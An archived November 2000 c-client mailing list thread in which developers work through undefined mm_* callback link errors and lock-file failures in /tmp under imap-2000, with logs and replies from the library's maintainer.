16 Nov 2000 21:37:55 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA25613; Thu, 16 Nov 2000 21:37:53 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA38268; Thu, 16 Nov 2000 21:35:18 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA154944 for ; Thu, 16 Nov 2000 21:33:47 -0800 Received: from samadhi.braincells.com (root@[216.99.37.100]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA18886 for ; Thu, 16 Nov 2000 21:33:46 -0800 Received: from localhost (jaldhar@localhost) by samadhi.braincells.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA17787; Fri, 17 Nov 2000 00:42:00 -0500 Message-Id: Date: Fri, 17 Nov 2000 00:42:00 -0500 (EST) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: c-client Cc: 77141@bugs.debian.org Subject: mm_* functions? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: jaldhar@samadhi.braincells.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I got a bug report from a user who was trying to link an application with the c-client library (ver 4.7c2) on Debian GNU/Linux 2.2 . This is what he got: bash-2.04$ cc test.o mailget.o mailget.o: In function `openmailbox': /home/jcz/projects/voxmail/mailget.c:7: undefined reference to `mail_open' collect2: ld returned 1 exit status bash-2.04$ cc -lc-client test.o mailget.o /usr/lib/libc-client.so: undefined reference to `mm_expunged' /usr/lib/libc-client.so: undefined reference to `mm_diskerror' /usr/lib/libc-client.so: undefined reference to `mm_lsub' /usr/lib/libc-client.so: undefined reference to `mm_flags' /usr/lib/libc-client.so: undefined reference to `mm_fatal' /usr/lib/libc-client.so: undefined reference to `mm_nocritical' /usr/lib/libc-client.so: undefined reference to `mm_notify' /usr/lib/libc-client.so: undefined reference to `mm_searched' /usr/lib/libc-client.so: undefined reference to `mm_status' /usr/lib/libc-client.so: undefined reference to `mm_login' /usr/lib/libc-client.so: undefined reference to `mm_list' /usr/lib/libc-client.so: undefined reference to `mm_critical' /usr/lib/libc-client.so: undefined reference to `mm_exists' /usr/lib/libc-client.so: undefined reference to `mm_log' /usr/lib/libc-client.so: undefined reference to `mm_dlog' collect2: ld returned 1 exit status > As I have mentioned before, I have compiled c-client as a shared library. Just in case that was the problem, I asked the user to link in the "approved" way with libc-client.a (which was compiled with make lnp) This time the results were like this: bash-2.04$ cc test.o mailget.o /usr/lib/libc-client.a 2>&1|head /usr/lib/libc-client.a(mail.o): In function `mail_valid': /home/jaldhar/src/imap/imap-4.7c/c-client/mail.c:424: undefined reference to `mm_log' /usr/lib/libc-client.a(mail.o): In function `mail_create': /home/jaldhar/src/imap/imap-4.7c/c-client/mail.c:684: undefined reference to `mm_log' /usr/lib/libc-client.a(mail.o): In function `mail_delete': /home/jaldhar/src/imap/imap-4.7c/c-client/mail.c:739: undefined reference to `mm_log' /usr/lib/libc-client.a(mail.o): In function `mail_rename': /home/jaldhar/src/imap/imap-4.7c/c-client/mail.c:761: undefined reference to `mm_log' /usr/lib/libc-client.a(mail.o): In function `mail_status_default': /home/jaldhar/src/imap/imap-4.7c/c-client/mail.c:813: undefined reference to `mm_status' bash-2.04$ Now I swear this used to work, I don't know why it doesn't now. Is it the applications job to define these functions? (I notice it is done seperately in imapd, ipop3d etc.) Debian recently upgraded its gcc and ld. Could that be the problem? fyi, I get the same problem with imap 2000 with the added bonus of unresolved SSL symbols. -- Jaldhar H. Vyas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 16 22:20:19 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Nov 2000 22:20:19 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id WAA08200 for ; Thu, 16 Nov 2000 22:20:18 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA26429; Thu, 16 Nov 2000 22:20:16 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id WAA31302; Thu, 16 Nov 2000 22:19:15 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id WAA81840 for ; Thu, 16 Nov 2000 22:17:59 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (chince@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA30063 for ; Thu, 16 Nov 2000 22:17:59 -0800 Message-Id: Date: Thu, 16 Nov 2000 22:16:08 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Jaldhar H. Vyas" Cc: c-client , 77141@bugs.debian.org Subject: re: mm_* functions? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN mm_* functions are callbacks from c-client to the appliation, and as such are defined by the application. So, yes, it is the application's job to define these functions. From pinedev@shivax2.cac.washington.edu Fri Nov 17 02:39:52 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Nov 2000 02:39:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id CAA18517 for ; Fri, 17 Nov 2000 02:39:48 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA21444; Fri, 17 Nov 2000 02:39:45 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA24776; Fri, 17 Nov 2000 02:38:46 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA374192 for ; Fri, 17 Nov 2000 02:36:51 -0800 Received: from mailsrvc.hrz.uni-oldenburg.de (mailsrvc.hrz.uni-oldenburg.de [134.106.87.10]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA15634 for ; Fri, 17 Nov 2000 02:36:49 -0800 Received: from Uni-Oldenburg.DE (kopernik.hrz.uni-oldenburg.de [134.106.110.67]) by mailsrvc.hrz.uni-oldenburg.de (8.11.1/8.11.1/04.10.2000) with ESMTP id eAHAac529740 for ; Fri, 17 Nov 2000 11:36:38 +0100 Message-Id: <3A150A35.88092DFB@Uni-Oldenburg.DE> Date: Fri, 17 Nov 2000 11:36:37 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bernd Wagener To: c-client@u.washington.edu Subject: possible locking errors with imap-2000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: de,en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello Mark! I found a problem with imap-2000, perhaps with locking. My environnement: Linux - Server with newest sendmail and imap-2000. Mailbox format is mbx and tmail is the local delivery agent. I'm sure to have the newest tmail compiled with the c-lient library from imap-2000. The fact: I started the system with the new imap and tmail and all was fine - but only for 20 minutes, then the load of the mailserver was growing to very high values. I looked after it and found a lot of processes hanging in disk-wait, both imapd and tmail. I the log-file I found error-messages. I decided to go back to the 4.7 version of imap. Here are some lines from the log with error-messages: /var/log/mail : Oct 26 14:28:08 mailsrvd imapd[9404]: imap service init from 134.106.138.38 Oct 26 14:28:08 mailsrvd imapd[9404]: Authenticated user=7524420 host=cipfb818.hrz.uni-oldenburg.de [134.106.138.38] Oct 26 14:28:11 mailsrvd imapd[9407]: imap service init from 134.106.138.38 Oct 26 14:28:11 mailsrvd imapd[9407]: Authenticated user=7524420 host=cipfb818.hrz.uni-oldenburg.de [134.106.138.38] Oct 26 14:28:12 mailsrvd imapd[9409]: imap service init from 134.106.138.38 Oct 26 14:28:12 mailsrvd imapd[9409]: Authenticated user=7524420 host=cipfb818.hrz.uni-oldenburg.de [134.106.138.38] Oct 26 14:28:13 mailsrvd imapd[9411]: imap service init from 134.106.138.38 Oct 26 14:28:13 mailsrvd imapd[9411]: Authenticated user=7524420 host=cipfb818.hrz.uni-oldenburg.de [134.106.138.38] Oct 26 14:29:22 mailsrvd imapd[9480]: imap service init from 134.106.138.38 Oct 26 14:29:22 mailsrvd imapd[9480]: Authenticated user=7524420 host=cipfb818.hrz.uni-oldenburg.de [134.106.138.38] Oct 26 14:29:43 mailsrvd imapd[9480]: Mailbox lock file /tmp/.815.ed0033 open failure: No such file or directory Oct 26 14:29:43 mailsrvd imapd[9480]: Logout user=7524420 host=cipfb818.hrz.uni-oldenburg.de [134.106.138.38] Oct 26 14:29:43 mailsrvd imapd[9409]: Mailbox lock file /tmp/.815.ed0033 open failure: No such file or directory Oct 26 14:29:43 mailsrvd imapd[9411]: Mailbox lock file /tmp/.815.ed0033 open failure: No such file or directory Oct 26 14:29:43 mailsrvd imapd[9407]: Mailbox lock file /tmp/.815.ed0033 open failure: No such file or directory Oct 26 14:29:43 mailsrvd imapd[9404]: Mailbox lock file /tmp/.815.ed0033 open failure: No such file or directory Oct 26 14:32:59 mailsrvd imapd[9407]: Logout user=7524420 host=cipfb818.hrz.uni-oldenburg.de [134.106.138.38] Oct 26 14:33:09 mailsrvd imapd[9770]: imap service init from 134.106.63.71 Oct 26 14:33:09 mailsrvd imapd[9770]: Authenticated user=7104130 host=hrzsic10.hrz.uni-oldenburg.de [134.106.63.71] Oct 26 14:33:49 mailsrvd tmail[9802]: delivering to 7104130+INBOX Oct 26 14:33:49 mailsrvd tmail[9802]: Verifying safe delivery to /folder/student/7104130/INBOX by UID 55605 Oct 26 14:33:49 mailsrvd tmail[9802]: mbx appending to #driver.mbx/INBOX (file /folder/student/7104130/INBOX) Oct 26 14:34:09 mailsrvd tmail[9813]: delivering to 7217870+INBOX Oct 26 14:34:09 mailsrvd tmail[9813]: Verifying safe delivery to /folder/student/7217870/INBOX by UID 32434 Oct 26 14:34:09 mailsrvd tmail[9813]: mbx appending to #driver.mbx/INBOX (file /folder/student/7217870/INBOX) Oct 26 14:34:09 mailsrvd tmail[9813]: delivered to /folder/student/7217870/INBOX Oct 26 14:34:09 mailsrvd tmail[9813]: Verifying safe delivery to /folder/student/7217870/INBOX by UID 32434 Oct 26 14:34:09 mailsrvd tmail[9813]: all recipients delivered Oct 26 14:34:21 mailsrvd tmail[9802]: Mailbox lock file /tmp/.815.dd8004 open failure: No such file or directory Oct 26 14:34:21 mailsrvd tmail[9802]: Unable to lock append mailbox Oct 26 14:34:21 mailsrvd imapd[9770]: Mailbox lock file /tmp/.815.dd8004 open failure: No such file or directory Oct 26 14:34:21 mailsrvd tmail[9802]: message delivery failed to /folder/student/7104130/INBOX Oct 26 14:51:29 mailsrvd tmail[10655]: delivering to 6582030+INBOX Oct 26 14:51:29 mailsrvd tmail[10655]: Verifying safe delivery to /folder/student/6582030/INBOX by UID 32105 Oct 26 14:51:29 mailsrvd tmail[10655]: mbx appending to #driver.mbx/INBOX (file /folder/student/6582030/INBOX) Oct 26 14:51:29 mailsrvd tmail[10655]: Mailbox lock file /tmp/.815.a98025 open failure: No such file or directory Oct 26 14:51:29 mailsrvd tmail[10655]: Unable to lock append mailbox Oct 26 14:51:29 mailsrvd tmail[10655]: message delivery failed to /folder/student/6582030/INBOX Oct 26 14:51:29 mailsrvd tmail[10655]: error in delivery I found: imapd only erros, tmail only errors and some imapd and tmail errors at the same time. Any ideas? Regards Bernd -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Nov 17 07:50:56 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Nov 2000 07:50:56 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id HAA32523 for ; Fri, 17 Nov 2000 07:50:55 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA04587; Fri, 17 Nov 2000 07:50:52 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA41874; Fri, 17 Nov 2000 07:49:45 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA315492 for ; Fri, 17 Nov 2000 07:48:45 -0800 Received: from samadhi.braincells.com (root@[216.99.37.100]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA09113 for ; Fri, 17 Nov 2000 07:48:44 -0800 Received: from localhost (jaldhar@localhost) by samadhi.braincells.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA19761; Fri, 17 Nov 2000 10:56:28 -0500 Message-Id: Date: Fri, 17 Nov 2000 10:56:28 -0500 (EST) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: Mark Crispin Cc: c-client , 77141@bugs.debian.org Subject: re: mm_* functions? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: jaldhar@samadhi.braincells.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 16 Nov 2000, Mark Crispin wrote: > mm_* functions are callbacks from c-client to the appliation, and as such are > defined by the application. So, yes, it is the application's job to define > these functions. Thanks. Is this documented somewhere so I can include the information in my package and hopefully save someone some trouble in the future? -- Jaldhar H. Vyas From pinedev@shivax2.cac.washington.edu Fri Nov 17 09:26:21 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Nov 2000 09:26:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id JAA22611 for ; Fri, 17 Nov 2000 09:26:20 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA07346; Fri, 17 Nov 2000 09:26:18 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA43432; Fri, 17 Nov 2000 09:24:42 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA408038 for ; Fri, 17 Nov 2000 09:22:56 -0800 Received: from smtp3.andrew.cmu.edu (SMTP3.ANDREW.CMU.EDU [128.2.10.83]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA01174 for ; Fri, 17 Nov 2000 09:22:56 -0800 Received: from ALEVE.WEH.ANDREW.CMU.EDU (ALEVE.WEH.ANDREW.CMU.EDU [128.2.111.204]) by smtp3.andrew.cmu.edu (8.9.3/8.9.3) with SMTP id MAA28723; Fri, 17 Nov 2000 12:22:53 -0500 (EST) Message-Id: Date: Fri, 17 Nov 2000 12:22:52 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Hollis R Blanchard To: "Jaldhar H. Vyas" Cc: c-client , 77141@bugs.debian.org Subject: re: mm_* functions? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: hollis+@ALEVE.WEH.ANDREW.CMU.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 Nov 2000, Jaldhar H. Vyas wrote: > On Thu, 16 Nov 2000, Mark Crispin wrote: > > > mm_* functions are callbacks from c-client to the appliation, and as such are > > defined by the application. So, yes, it is the application's job to define > > these functions. > > Thanks. Is this documented somewhere so I can include the information in > my package and hopefully save someone some trouble in the future? docs/internals.txt says (around line 2515): Main Program Callbacks All applications which use the c-client must have the following callbacks to handle events from c-client. Note that in any callback which involves a mail stream, the stream is locked and you can not recursively call c-client from the callback. This may also be true in callbacks which do not have a stream; in general, the rule is "do not call c-client, especially any mail_xxx() function, from a c-client callback". The second part of that paragraph is worth noting too (if you're going to be writing some docs). :) -Hollis From pinedev@shivax2.cac.washington.edu Fri Nov 17 10:20:27 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Nov 2000 10:20:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id KAA03111 for ; Fri, 17 Nov 2000 10:20:26 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA32453; Fri, 17 Nov 2000 10:20:24 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA36480; Fri, 17 Nov 2000 10:19:04 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA105542 for ; Fri, 17 Nov 2000 10:17:37 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (ref@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA06131 for ; Fri, 17 Nov 2000 10:17:37 -0800 Message-Id: Date: Fri, 17 Nov 2000 10:11:56 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Bernd Wagener Cc: c-client@u.washington.edu Subject: re: possible locking errors with imap-2000 In-Reply-To: <3A150A35.88092DFB@Uni-Oldenburg.DE> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 Nov 2000 11:36:37 +0100, Bernd Wagener wrote: > Mailbox lock file /tmp/.815.ed0033 open failure: No such file or directory That's not "locking"; the routine is doing locking, but the failure is something more basic: it couldn't open() the lock file on /tmp and the error returned was ENOENT. It looks as if, somehow, the /tmp directory became inaccessible. What sort of filesystem has /tmp on your system? > I decided to go back to the 4.7 version of imap. I doubt that that will make any difference at all, since the locking code is identical between the 4.7 and 2000. Going back to 4.7 will, however, reintroduce bugs including security bugs on your system. From pinedev@shivax2.cac.washington.edu Mon Nov 20 04:40:28 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Nov 2000 04:40:28 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id EAA28928 for ; Mon, 20 Nov 2000 04:40:27 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA08842; Mon, 20 Nov 2000 04:40:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id EAA35892; Mon, 20 Nov 2000 04:38:53 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id EAA235002 for ; Mon, 20 Nov 2000 04:36:15 -0800 Received: from mailsrvc.hrz.uni-oldenburg.de (mailsrvc.hrz.uni-oldenburg.de [134.106.87.10]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA22827 for ; Mon, 20 Nov 2000 04:36:13 -0800 Received: from Uni-Oldenburg.DE (kopernik.hrz.uni-oldenburg.de [134.106.110.67]) by mailsrvc.hrz.uni-oldenburg.de (8.11.1/8.11.1/04.10.2000) with ESMTP id eAKCa3531341; Mon, 20 Nov 2000 13:36:03 +0100 Message-Id: <3A191AB3.1EE3BA71@Uni-Oldenburg.DE> Date: Mon, 20 Nov 2000 13:36:03 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bernd Wagener To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: possible locking errors with imap-2000 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: de,en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The filesystem /tmp is ext2. I send you only the lines of the log-file with error-messages, during the same time a lot of mails are sent and delivered successfully. Mark Crispin wrote: > > On Fri, 17 Nov 2000 11:36:37 +0100, Bernd Wagener wrote: > > Mailbox lock file /tmp/.815.ed0033 open failure: No such file or directory > > That's not "locking"; the routine is doing locking, but the failure is > something more basic: it couldn't open() the lock file on /tmp and the error > returned was ENOENT. > > It looks as if, somehow, the /tmp directory became inaccessible. What sort of > filesystem has /tmp on your system? > > > I decided to go back to the 4.7 version of imap. > > I doubt that that will make any difference at all, since the locking code is > identical between the 4.7 and 2000. Going back to 4.7 will, however, > reintroduce bugs including security bugs on your system. Back with version 4.7 this error was not to see anymore. Bernd From pinedev@shivax2.cac.washington.edu Mon Nov 20 09:46:30 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Nov 2000 09:46:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id JAA31173 for ; Mon, 20 Nov 2000 09:46:28 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA25837; Mon, 20 Nov 2000 09:46:26 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA27082; Mon, 20 Nov 2000 09:45:24 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA193214 for ; Mon, 20 Nov 2000 09:44:21 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (wafan@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA07014 for ; Mon, 20 Nov 2000 09:44:20 -0800 Message-Id: Date: Mon, 20 Nov 2000 09:35:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Bernd Wagener Cc: c-client@u.washington.edu Subject: Re: possible locking errors with imap-2000 In-Reply-To: <3A191AB3.1EE3BA71@Uni-Oldenburg.DE> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 20 Nov 2000 13:36:03 +0100, Bernd Wagener wrote: > The filesystem /tmp is ext2. I send you only the lines of the log-file > with error-messages, during the same time a lot of mails are sent and > delivered > successfully. That indicates that the problem -- whatever it was -- was due to some external condition and not c-client. The error message means that c-client got an ENOENT error in its attempt to create a zero-length file in /tmp. Perhaps the filesystem holding /tmp filled up, but that would have caused a different error than ENOENT. You should probably check with the Linux developers to find out what conditions could cause a create on /tmp to return ENOENT. > Back with version 4.7 this error was not to see anymore. That is probably coincidental. Nobody else has reported this problem. There must be something special on your system that caused it. From pinedev@shivax2.cac.washington.edu Tue Nov 21 19:31:09 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Nov 2000 19:31:09 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id TAA01500 for ; Tue, 21 Nov 2000 19:31:08 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA06140; Tue, 21 Nov 2000 19:31:06 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id TAA22224; Tue, 21 Nov 2000 19:29:56 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id TAA281330 for ; Tue, 21 Nov 2000 19:28:22 -0800 Received: from ns2.einsteinmedical.com ([207.110.40.39]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA18532 for ; Tue, 21 Nov 2000 19:28:22 -0800 Received: from linuxinside.com (pruchai@solefald.linuxinside.com [216.120.72.83]) by ns2.einsteinmedical.com (8.9.3/8.9.3) with ESMTP id TAA07436 for ; Tue, 21 Nov 2000 19:28:21 -0800 Message-Id: <3A1B3D55.427D0705@linuxinside.com> Date: Tue, 21 Nov 2000 19:28:21 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: igor@linuxinside.com To: c-client@u.washington.edu Subject: Drive Scans MIME-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit X-Sender: pruchai@ns2.einsteinmedical.com X-Accept-Language: en, ru X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Every time i am trying to subsrive to the mailbox that resides on the linux server running imap-2000 Outlook scans the whole system for the mailboxes. Is there any way to stop it from doing that. It takes a really long time ...... igor -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 21 23:02:35 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Nov 2000 23:02:35 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id XAA27723 for ; Tue, 21 Nov 2000 23:02:34 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA10282; Tue, 21 Nov 2000 23:02:30 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA35784; Tue, 21 Nov 2000 23:00:44 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id WAA126512 for ; Tue, 21 Nov 2000 22:58:42 -0800 Received: from goliath.siemens.de (goliath.siemens.de [194.138.37.131]) by mxu3.u.washington.edu 